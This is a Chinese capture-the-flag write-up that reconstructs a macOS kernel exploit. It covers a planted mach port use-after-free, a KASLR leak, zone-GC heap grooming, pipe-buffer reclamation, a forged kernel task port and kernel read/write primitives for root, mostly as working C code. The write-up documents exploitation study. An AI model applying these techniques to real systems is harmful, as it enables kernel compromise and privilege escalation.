强网杯nostalgic题解
起因是赛后复现强网杯的某个osx题目。
首先看代码,按照出题人的说法是故意改出来的洞,其他内存洞都不能用。
UAF分析+验证
diff ipc_tt_org.c ipc_tt.c
1424a1425,1438
> ipc_port_t
> port_name_to_kport(mach_port_name_t name) {
> ipc_port_t kport;
> if (MACH_PORT_VALID(name))
> {
> if (ipc_object_copyin(current_space(), name,
> MACH_MSG_TYPE_COPY_SEND,
> (ipc_object_t *)&kport) != KERN_SUCCESS)
> return (0);
> return kport;
> }
> return 0;
> }
>
1724a1739,1741
> if (old_port[i] == new_port) {
> continue;
> }
1738,1739c1755,1759
< if (IP_VALID(old_port[i]))
< ipc_port_release_send(old_port[i]);
---
> if (IP_VALID(old_port[i])) {
> if (((old_port[i]->ip_object).io_references) > 0) {
> ipc_port_release(old_port[i]);
> }
> }
1741,1742c1761,1765
< if (IP_VALID(new_port)) /* consume send right */
< ipc_port_release_send(new_port);
---
> if (IP_VALID(new_port)) { /* consume send right */
> if (((new_port->ip_object).io_references) > 0) {
> ipc_port_release(new_port);
> }
> }
丢给gpt一番分析大概知道了这个地方是个machport uaf。
于是迅速写了一坨验证exp:
// clang -Wall -O2 -o poc poc.c
#include <mach/mach.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
static mach_port_t make_port(void) {
mach_port_t p = MACH_PORT_NULL;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
if (kr != KERN_SUCCESS) { fprintf(stderr, "alloc: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) { fprintf(stderr, "insert: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
return p;
}
static void exhaust_refs(mach_port_t p) {
exception_mask_t mask = EXC_MASK_BAD_ACCESS;
task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
for (int i = 0; i < 8; i++) {
task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
}
mach_port_mod_refs(mach_task_self(), p, MACH_PORT_RIGHT_RECEIVE, -1);
}
int main(void) {
mach_port_t victim = make_port();
if (victim == MACH_PORT_NULL) return 1;
exhaust_refs(victim);
puts("[*] port should now be dangling, sending to it to trigger UAF/panic...");
struct {
mach_msg_header_t hdr;
} msg;
memset(&msg, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = victim;
kern_return_t kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hdr.msgh_size, 0,
MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
fprintf(stderr, "mach_msg returned: %s\n", mach_error_string(kr));
pause(); // 如果没马上 panic,可保持进程存活观察
return 0;
}
发现创建的普通port只需要循环设置两次就没有了,但是仍然有用户态的name(理解为指针)指向这个“不存在的port”
于是尝试spray进行port风水的检查,发现可以稳定在一轮里spray后重新get这个name可以保证它success。
// clang -Wall -O2 -o poc poc.c
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/sysctl.h>
static mach_port_t make_port(void) {
mach_port_t p = MACH_PORT_NULL;
kern_return_t kr;
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] alloc: %s\n", mach_error_string(kr));
return MACH_PORT_NULL;
}
kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] insert: %s\n", mach_error_string(kr));
return MACH_PORT_NULL;
}
// printf("[+] make_port -> name=%d\n", p);
return p;
}
static int probe_port(const char *label, mach_port_t name) {
natural_t type = 0;
mach_vm_address_t addr = 0;
kern_return_t kr;
kr = mach_port_kobject(mach_task_self(), name, &type, &addr);
printf("[*] probe %-12s: name=%d kr=%d (%s) type=%u kaddr=0x%llx\n",
label, name, kr, mach_error_string(kr),
type, (unsigned long long)addr);
if (kr != KERN_SUCCESS) {
return 0;
}
return 1;
}
static void dump_port_limits(const char *label, mach_port_t name) {
struct mach_port_limits limits;
mach_msg_type_number_t count = MACH_PORT_LIMITS_INFO_COUNT;
kern_return_t kr;
kr = mach_port_get_attributes(mach_task_self(), name,
MACH_PORT_LIMITS_INFO,
(mach_port_info_t)&limits, &count);
if (kr != KERN_SUCCESS) {
printf("[*] limits %-12s: name=%d get_attributes -> %s\n",
label, name, mach_error_string(kr));
return;
}
printf("[*] limits %-12s: name=%d qlimit=%u\n",
label, name, limits.mpl_qlimit);
}
__attribute__((noinline))
static void trigger_bad_access(void) {
volatile int *p = (int *)0x0;
*p = 0xdeadbeef;
}
#define SPRAY_MAX 0x6000
static mach_port_t spray_arr[SPRAY_MAX];
static size_t spray_cnt;
static mach_port_t uaf_port = MACH_PORT_NULL;
static int reuse_idx = -1;
static void *fake_port_page = NULL;
static uint64_t kernel_slide = 0;
static uint64_t k_ipc_space_kernel = 0;
static uint64_t k_kernel_task = 0;
#define UNSLID_REALHOST 0xffffff80008bddc0
#define UNSLID_IPC_SPACE_KERNEL 0xffffff80008bac80
#define UNSLID_KERNEL_TASK 0xffffff80008c5168
static size_t spray_with_make_port(size_t want) {
if (want > SPRAY_MAX) want = SPRAY_MAX;
size_t ok = 0;
for (; ok < want; ok++) {
mach_port_t p = make_port();
if (p == MACH_PORT_NULL) {
fprintf(stderr, "[-] make_port failed @%zu\n", ok);
break;
}
spray_arr[ok] = p;
}
spray_cnt = ok;
printf("[*] sprayed %zu ports\n", ok);
return ok;
}
static void tag_spray_ports(void) {
for (size_t i = 0; i < spray_cnt; i++) {
mach_port_context_t ctx = 0x133700000000ULL | i;
kern_return_t kr = mach_port_set_context(mach_task_self(), spray_arr[i], ctx);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] set_context %zu: %s\n", i, mach_error_string(kr));
}
}
}
static int detect_reuse_from_uaf(void) {
mach_port_context_t ctx = 0;
kern_return_t kr = mach_port_get_context(mach_task_self(), uaf_port, &ctx);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "[-] get_context uaf: %s\n", mach_error_string(kr));
return -1;
}
if ((ctx & 0xFFFF00000000ULL) == 0x133700000000ULL) {
int idx = (int)(ctx & 0xFFFF);
printf("[+] UAF chunk reused by spray_arr[%d] name=%d ctx=0x%llx\n",
idx, spray_arr[idx], (unsigned long long)ctx);
reuse_idx = idx;
return idx;
}
printf("[-] no hit yet, ctx=0x%llx\n", (unsigned long long)ctx);
return -1;
}
// 把命中的端口 free 掉,为后续 freelist 污染做准备
static void free_reused_port(void) {
if (reuse_idx < 0) {
puts("[-] reuse_idx not set");
return;
}
kern_return_t kr = mach_port_destroy(mach_task_self(), spray_arr[reuse_idx]);
printf("[*] destroy reused port name=%d -> %s\n", spray_arr[reuse_idx], mach_error_string(kr));
spray_arr[reuse_idx] = MACH_PORT_NULL;
}
static void make_uaf_port(mach_port_t victim) {
puts("[*] make_uaf_port");
kern_return_t kr;
probe_port("victim", victim);
exception_mask_t mask = EXC_MASK_BAD_ACCESS;
kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
printf("[*] 0. task_set_exception_ports() -> %s\n", mach_error_string(kr));
for (int i = 0; i < 2; i++) {
kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
printf("[*] %d. task_set_exception_ports() -> %s\n", i+1, mach_error_string(kr));
probe_port("victim", victim);
}
puts("[*] done");
}
int main(void) {
puts("[*] Stage 1: Create ports and trigger UAF");
mach_port_t victim = make_port();
if (victim == MACH_PORT_NULL) {
printf("[-] make_port failed\n");
return -1;
}
uaf_port = victim;
make_uaf_port(victim);
puts("[*] Stage 3: Spray and detect reuse");
spray_with_make_port(0x3000);
tag_spray_ports();
detect_reuse_from_uaf();
if (reuse_idx >= 0) {
}
return 0;
}
于是到这里也是稳定能够复用端口,可以看到reuse_idx这里能找到内容。
利用思路讲解
用户态有一个mach name,在内核里的进程控制块(linux的PCB)task port中,有一块空间用来做“从mach name到mach port内存“的映射

在进行两次解引用后,内核处理模块只处理了mach port 内存(因为内存这里已经没有io_reference,相当于不能用了),但是因为破坏了原来的逻辑,这里并不会对这个映射有影响。于是进入了这个状态

由于内存page分配原理(和buddy system差不多),这里如果这一个page都是空闲的,那么kalloc大概率会分到这一块page。所以这里我们用一个其他的内存中结构体(如IOSurface,sock_opt虽然还没有调通),进行大量kalloc和写入,就有机会把这一块内存占用,变成我们可读写的内存,如下:

在我们做到可读写这一块之后,我们构造一个恶意的task port结构体:它有pid = 0,全宇宙最高权限的task port ⇒ tfp0,刚好放在dangling pointer指向的地方,再用我们用户态的mach name进行操作时,内核会误认为它是一个天然存在的结构体,从而不拒绝执行对它的操作。

而后我们就有了内核任意读任意写原语:有了它你可以把我们本身的task结构体中权限修改成0→提权,可以关掉amfi,coretrust,…相当于关闭所有运行时 安全检查,这就是越狱。
可以看出,我们现在离真正提权还差了几步:1. 现代系统中一般都会对内核地址做随机化处理防止直接被使用。2. 怎么样保证写入进去的task port“刚刚好”落在我们需要的这篇区域上?3. 怎么样构造一个完美的tfp0?
KASLR→内核基址泄露
首先我们需要一些方法来泄露内核基址。卡了很久,最后在project zero里找到了一篇关于Safari的内核pwn题。
pwn4fun Spring 2014 - Safari - Part II
从这里面找到了kaslr的泄露方法:
static kern_return_t slide_leak(void) {
INFO("leaking kernel slide...");
FILE *fp;
char buf[512];
uint64_t leaked_address = 0;
fp = popen("ioreg -l | grep IOPlatformArgs", "r");
if (!fp) {
ERROR("popen failed");
return KERN_FAILURE;
}
if (!fscanf(fp, "%*[^<]<%511[^>]>", buf)) {
ERROR("parse_slide: fgets failed");
pclose(fp);
return KERN_FAILURE;
}
pclose(fp);
char reversed[17] = {0};
for (int i = 0; i < 8; i++) {
reversed[i*2] = buf[14 - i*2];
reversed[i*2+1] = buf[15 - i*2];
}
leaked_address = strtoull(reversed, NULL, 16);
slide = leaked_address - UNSLID_DT_ADDR;
SUCCESS("calculated kernel slide: 0x%llx", (ull)slide);
SUCCESS("kernel base: 0x%llx", (ull)(KERNEL_BASE) + slide);
return KERN_SUCCESS;
}需要改下启动参数关掉kaslr拿下原来的基址之外都非常简单。
于是这一步也解决了。
某块区域内存写入→ 堆风水 → tfp0


好了这里给了两个提示,第一个对应我们说的IOSurface写入过程,第二个给我们提供了新条件。
同样经过一番搜索可以搜到360的技术博客
IPC Voucher UaF Remote Jailbreak Stage 2
在iOS的内核里, 不同的内核对象隔离在不同的zone, 这意味着即使ipc voucher对象释放了,这个对象不是真正的释放,只是放到对应的zone的free list,我们也只可能重新分配一个ipc voucher去填充.但是一般的UaF的漏洞我们都是需要转换成Type Confusion去利用,也就是我们需要分配一个不同的内核对象去填充这个释放的ipc voucher内存区域,在这里我们需要手动触发内核的zone gc, 把对应的page释放掉.
这里也是一样的,我们需要申请至少一个page的mach port,取其中一个来作为我们的fake port,其他的都删除,并且要把page释放掉。 有意思的一点是,在10.9 并没有禁用mach_zone_force_gc ,这很方便。
第一步流程是,申请很多个machport,然后选一个进行uaf,剩下的destroy掉,然后gc。
直接给代码,没什么好讲的
static kern_return_t make_port_uaf(mach_port_t port) {
INFO("making port uaf...");
exception_mask_t mask = EXC_MASK_BAD_ACCESS;
KR(task_set_exception_ports(mach_task_self(), mask, port,
EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set => send right +1 => 2 => io_ref - 1 = 1
kern_return_t kr = detect_port(port);
int times = 0;
while(kr == KERN_SUCCESS) {
KR(task_set_exception_ports(mach_task_self(), mask, port,
EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again => (n) send right keep => 2 , io_ref -1 => 0
times++;
INFO("uaf attempt %d", times);
kr = detect_port(port); // should succeed
}
INFO("kr=%s", mach_error_string(kr));
INFO("port is uafed after %d attempts", times);
return KERN_SUCCESS;
error:
return KERN_FAILURE;
}
static mach_port_t make_port(void) {
mach_port_t p = MACH_PORT_NULL;
KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p));
KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND));
return p;
error:
return MACH_PORT_NULL;
}
static kern_return_t make_victim(void) {
INFO("make victim ports...");
for(int i=0;i<NUM_BEFORE;i++) {
before_port[i] = make_port();
EQ(before_port[i], MACH_PORT_NULL);
}
victim_port = make_port();
EQ(victim_port, MACH_PORT_NULL);
for(int i=0;i<NUM_AFTER;i++) {
after_port[i] = make_port();
EQ(after_port[i], MACH_PORT_NULL);
}
return KERN_SUCCESS;
error:
return KERN_FAILURE;
}
static kern_return_t gc(void) {
INFO("Free ports");
for(int i=0;i<NUM_BEFORE;i++) {
RELEASE_PORT(before_port[i]);
}
for(int i=0;i<NUM_AFTER;i++) {
RELEASE_PORT(after_port[i]);
}
#if __MAC_OS_X_VERSION_MIN_REQUIRED <= 1090
INFO("triggering garbage collection...");
KR(mach_zone_force_gc(mach_host_self()));
#else
INFO("skipping garbage collection (not supported on this OS version)...");
#endif
return KERN_SUCCESS;
error:
return KERN_FAILURE;
}
接下来是写入:
换一篇博客
voucher_swap: Exploiting MIG reference counting in iOS 12
看眼xnu代码可以知道,创建了pipe之后,在尝试读取或者写入时,会创建和写入一样大的一片buffer区域,用的kalloc。那么如果
于是可以看看第二篇文章的写法
From zero to tfp0 - Part 2: A Walkthrough of the voucher_swap exploit
直接去voucher_swap里抄代码就好了。
需要注意的是他们用的是kalloc.16384这块,我们需要改成kalloc.4096,大概流程:
pipe_buffer_size = 4096; // make it to kalloc.4096
size_t pipe_count = 16 * MB / pipe_buffer_size;
increase_file_limit();
int *pipefds_array = create_pipes(&pipe_count);
INFO("created %zu pipes", pipe_count);
pipe_buffer = calloc(1, pipe_buffer_size);
EQ(pipe_buffer, NULL);
bzero(pipe_buffer, pipe_buffer_size);
size_t pipes_filled = pipe_spray(pipefds_array, pipe_count, pipe_buffer, pipe_buffer_size, NULL );
INFO("filled %zu pipes", pipes_filled);然后做检测:
KR(mach_port_set_context(mach_task_self(), victim, 0x41414141));
INFO("try locate which page");
int pipe_idx = -1;
int context_location = -1;
for(size_t i=0;i<pipes_filled;i++) {
ssize_t n = read(pipefds_array[2*i], pipe_buffer, pipe_buffer_size);
if(n < 0) {
ERROR("read pipe %zu failed", i);
continue;
}
uint32_t *p = (uint32_t *)pipe_buffer;
for(size_t j=0;j<(pipe_buffer_size/4);j++) {
if(p[j] == 0x41414141) {
SUCCESS("found in pipe %zu at offset 0x%zx", i, j*4);
pipe_idx = (int)i;
context_location = (int)(j*4);
break;
}
}
if(pipe_idx != -1) break;
}
EQ(pipe_idx, -1);
EQ(context_location, -1);
INFO("found victim port in pipe %d at offset 0x%x", pipe_idx, context_location);这里做完如果找到了,我们就获得了一个完全可控的port,同时也可以找到offset context,然后倒推出port开始地址的offset。
需要注意,pipe是写入后才能读取的,所以构建一套machport写快捷操作:
void read_prim() {
INFO("reading mach port...");
ssize_t n = read(rpipe, pipe_buffer, pipe_buffer_size);
EQ(n, -1);
INFO("read success");
return;
error:
ERROR("read failed in read_mach_port");
return;
}
void write_prim() {
ssize_t n = write(wpipe, pipe_buffer, pipe_buffer_size);
EQ(n, -1);
INFO("write success");
return;
error:
ERROR("write failed in write_mach_port");
return;
}
void edit_mach_port(size_t offset, void(^update)(kport_t *fakeport)) {
read_prim();
kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
if(update!=NULL) {
update(port);
}
write_prim();
return;
}
void read_mach_port(size_t offset, kport_t *outport) {
read_prim();
kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
if(outport != NULL) {
memcpy(outport, port, sizeof(kport_t));
}
write_prim();
return;
}
void edit_proc_task(size_t offset, void(^update)(ktask_t *task)) {
read_prim();
kport_t *port = (kport_t *)((uint8_t *)pipe_buffer + offset);
if(update!=NULL) {
update(port);
}
write_prim();
return;
}现在先来拿一下port地址,可以用mach_port_request_notification,把某个port注册到我们port的结构体上。然后由于我们port是可以直接获取内容的,这里就可以把addr拿到了。
KR(mach_port_request_notification(mach_task_self(), victim, MACH_NOTIFY_PORT_DESTROYED, 0, victim, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify));
read_mach_port(offset, &readback);
uint64_t victim_addr = readback.ip_pdrequest;下面我们把这个pipe扩展到任意读。貌似做法挺多的,可以用pid_for_task读,也可以用其他方法。
这里我们参考v0rtex的实现方式,在mach_port_get_attributes使用MACH_PORT_DNREQUESTS_SIZE时,会读取ipc_port->ip_request->name.size 。由于默认的request结构体已知,我们可以把ip_request指向我们可控的context,然后解引用时会解到context指向的地址,于是有了
typedef volatile struct {
union {
uint64_t port;
uint64_t index;
} notify;
union {
uint64_t name;
uint64_t size;
} name;
} kport_request_t;
kport_request_t kreq = {
.notify =
{
.port = 0,
}
};
edit_mach_port(offset, ^(kport_t *fakeport){
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 0x100;
fakeport->ip_messages.qlimit = MACH_PORT_QLIMIT_KERNEL;
fakeport->ip_messages.msgcount = 0;
fakeport->ip_srights = 0x10;
fakeport->ip_context = 0;
fakeport->ip_requests = victim_addr + offsetof(kport_t, ip_context)
- offsetof(kport_request_t, name.size);
});
#define KREAD(addr, out, size) \
do { \
for(size_t i=0;i<((size) + sizeof(uint32_t) - 1) / sizeof(uint32_t); i++) { \
KR(mach_port_set_context(mach_task_self(), victim, addr + i * sizeof(uint32_t))); \
mach_msg_type_number_t outsz = 1; \
KR(mach_port_get_attributes(mach_task_self(), victim, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(out)+i), &outsz)); \
} \
} while(0)获得到了任意读,可控machport。下一步我们需要找的是kernel_task。这里也可以直接走内核符号拿,但是我写了一个不走符号的做法,先读取当前task的地址,然后链表往前走可以枚举所有proc。
uint64_t struct_task = 0; // task kobject.
natural_t type = 0;
mach_port_kobject(mach_task_self(), mach_task_self(), &type, &struct_task);
uint64_t self_proc = 0;
struct_task -= addrpem;
SUCCESS("self task kobject addr: 0x%llx", (ull)struct_task);
self_proc = struct_task;
uint64_t kernel_vm_map = 0;
EQ(struct_task, 0);
while (struct_task != 0) {
uint64_t bsd_info;
KREAD(struct_task + BSD_INFO_OFFSET, &bsd_info, sizeof(bsd_info));
EQ(bsd_info, 0);
SUCCESS("found next bsd_info: 0x%llx", (ull)bsd_info);
uint32_t pid;
KREAD(bsd_info + PROC_PID_OFFSET, &pid, sizeof(pid));
SUCCESS("found pid: %u", pid);
if (pid == 0) {
uint64_t vm_map;
KREAD(struct_task + VM_MAP_OFFSET, &vm_map, sizeof(vm_map));
EQ(vm_map, 0);
SUCCESS("found kernel_vm_map: 0x%llx", (ull)vm_map);
kernel_vm_map = vm_map;
break;
}
KREAD(struct_task + TASK_PREV_STRUCT, &struct_task, sizeof(struct_task));
}本来想了好久应该怎么构造fakeport。但是后面看到思路说直接memcpy就好了,那为什么不呢
void *kernel_task_port_dump = malloc(0x100);
void *kernel_task_dump = malloc(0x200);
uint64_t kernel_task_addr = 0;
KREAD(KERNEL_TASK + slide, &kernel_task_addr, sizeof(kernel_task_addr));
SUCCESS("kernel_task_addr: 0x%llx", (ull)kernel_task_addr);
uint64_t kernel_itk_self = 0;
KREAD(kernel_task_addr + ITK_SELF, &kernel_itk_self, sizeof(kernel_itk_self));
SUCCESS("kernel_itk_self: 0x%llx", (ull)kernel_itk_self);
uint64_t fake_task_offset = 0;
if(offset > 0x500) { // if task port is in later of buffer, we create task at front
fake_task_offset = 0;
} else {
fake_task_offset = pipe_buffer_size - 0x200; // else create at end of buffer
}
INFO("fake task offset: 0x%llx", (ull)fake_task_offset);
KREAD(kernel_task_addr, kernel_task_dump, 0x200);
SUCCESS("dumped kernel task struct");
KREAD(kernel_itk_self, kernel_task_port_dump, 0x100);
SUCCESS("dumped kernel task port struct");edit_proc_task(fake_task_offset, ^(ktask_t *task) {
memcpy(task, kernel_task_dump, 0x200);
task->map = kernel_vm_map;
});edit_mach_port(offset, ^(kport_t *fakeport){
bzero(fakeport, sizeof(kport_t));
memcpy(fakeport, kernel_task_port_dump, 0x100);
fakeport->ip_kobject = buffer_start_address + fake_task_offset;
});
SUCCESS("faKe tfp0 ready!");才知道c也有这种lambda类型的函数,不得不说还挺好用的。
接下来就拿到krw了,后面改改cred就行,不写实现了
可以给更高权限的原语:
static mach_port_t tfpzero;
void init_kernel_memory(mach_port_t tfp0) {
tfpzero = tfp0;
}
uint64_t kalloc(vm_size_t size) {
mach_vm_address_t address = 0;
mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
return address;
}
void kfree(mach_vm_address_t address, vm_size_t size) {
mach_vm_deallocate(tfpzero, address, size);
}
size_t kread(uint64_t where, void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
mach_vm_size_t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
if (rv || sz == 0) {
printf("[-] error on kread(0x%016llx)\n", where);
break;
}
offset += sz;
}
return offset;
}
size_t kwrite(uint64_t where, const void *p, size_t size) {
int rv;
size_t offset = 0;
while (offset < size) {
size_t chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
if (rv) {
printf("[-] error on kwrite(0x%016llx)\n", where);
break;
}
offset += chunk;
}
return offset;
}
void wk32(uint64_t where, uint32_t what) {
uint32_t _what = what;
kwrite(where, &_what, sizeof(uint32_t));
}
void wk64(uint64_t where, uint64_t what) {
uint64_t _what = what;
kwrite(where, &_what, sizeof(uint64_t));
}
uint32_t rk32(uint64_t where) {
uint32_t out;
kread(where, &out, sizeof(uint32_t));
return out;
}
uint64_t rk64(uint64_t where) {
uint64_t out;
kread(where, &out, sizeof(uint64_t));
return out;
}
init_kernel_memory(victim);
INFO("testing kr/w...");
uint64_t addr = kalloc(8);
INFO("allocated kernel memory at 0x%llx", (ull)addr);
EQ(addr, 0);
wk64(addr, 0x4141414141414141);
uint64_t readb = rk64(addr);
kfree(addr, 8);
printf("[*] read back: 0x%llx\n", readb);
NEQ(readb, 0x4141414141414141);
SUCCESS("kr/w test passed!");
于是成功通关。下面是在当前进程的bsdinfo里把ruid改成0,就能直接提权了。
完整代码:
Comments